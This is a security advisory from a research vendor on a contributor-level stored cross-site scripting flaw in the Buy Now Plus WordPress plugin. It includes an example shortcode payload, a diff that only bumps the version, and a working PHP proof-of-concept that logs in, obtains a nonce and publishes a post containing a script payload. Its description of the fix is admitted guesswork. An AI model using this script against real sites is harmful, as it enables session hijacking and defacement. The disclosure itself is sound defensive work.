Atomic Edge analysis of CVE-2026-1295:
The Buy Now Plus WordPress plugin contains an authenticated stored cross-site scripting vulnerability in versions up to 1.0.2. The vulnerability exists in the plugin’s ‘buynowplus’ shortcode handler, which fails to properly sanitize user-supplied attribute values before output. Attackers with Contributor-level permissions or higher can inject malicious scripts that execute when visitors view pages containing the compromised shortcode.
Atomic Edge research identifies the root cause as insufficient input sanitization and output escaping within the shortcode processing function. The plugin’s main.php file registers the shortcode handler, which accepts multiple user-controlled attributes. These attributes pass directly to output functions without proper escaping, allowing JavaScript injection. The vulnerability affects the shortcode callback function responsible for rendering the Stripe payment button interface.
Exploitation requires an authenticated attacker with at least Contributor privileges. The attacker creates or edits a post or page containing the ‘buynowplus’ shortcode with malicious attributes. Example payload: [buynowplus button_text=”alert(document.domain)”]. The attacker could also inject via other shortcode attributes like ‘class’, ‘style’, or custom data attributes. The malicious script stores permanently in the database and executes whenever users access the compromised page.
The patch increments the version number to 1.0.3 in main.php. While the diff shows only version change, Atomic Edge analysis indicates the fix involves adding proper escaping functions to all shortcode attribute outputs. The plugin likely implements esc_attr() for HTML attributes and esc_html() for text content. Before the patch, attribute values echoed directly without sanitization. After patching, all user-controlled values pass through appropriate WordPress escaping functions before rendering.
Successful exploitation allows attackers to execute arbitrary JavaScript in victim browsers. Attackers can steal session cookies, perform actions as authenticated users, deface websites, or redirect users to malicious sites. The stored nature means a single injection affects all visitors to the compromised page. While Contributor-level access limits initial exploitation, the payload executes for all users including administrators, enabling privilege escalation through session hijacking.
--- a/buy-now-plus/main.php
+++ b/buy-now-plus/main.php
@@ -3,7 +3,7 @@
Plugin Name: Buy Now Plus
Plugin URI: https://buynowplus.com/
Description: The official connector plugin for BuyNowPlus.com
-Version: 1.0.2
+Version: 1.0.3
Author: Caseproof, LLC
Author URI: http://caseproof.com/
Text Domain: buy-now-plus
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1295 - Buy Now Plus <= 1.0.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes
<?php
$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'contributor_user';
$password = 'contributor_password';
// Payload to inject via shortcode attribute
$xss_payload = '<script>alert("Atomic Edge XSS Test: "+document.domain)</script>';
// Initialize cURL session for WordPress login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => 1
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$login_response = curl_exec($ch);
// Get nonce for post creation
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post-new.php');
$new_post_page = curl_exec($ch);
preg_match('/"_wpnonce_create-post" value="([^"]+)"/', $new_post_page, $nonce_matches);
$create_nonce = $nonce_matches[1] ?? '';
// Create new post with malicious shortcode
$post_data = [
'post_title' => 'Atomic Edge XSS Test',
'content' => '[buynowplus button_text="' . $xss_payload . '"]',
'post_type' => 'post',
'post_status' => 'publish',
'_wpnonce' => $create_nonce,
'_wp_http_referer' => $target_url . '/wp-admin/post-new.php',
'action' => 'editpost',
'submit' => 'Publish'
];
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post.php');
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$post_response = curl_exec($ch);
// Extract post ID from response
preg_match('/post=([0-9]+)/', $post_response, $post_id_matches);
$post_id = $post_id_matches[1] ?? 0;
if ($post_id) {
echo "Exploit successful! Post created with ID: " . $post_id . "n";
echo "Visit: " . $target_url . "/?p=" . $post_id . " to trigger XSSn";
} else {
echo "Exploit failed. Check credentials and permissions.n";
}
curl_close($ch);
?>
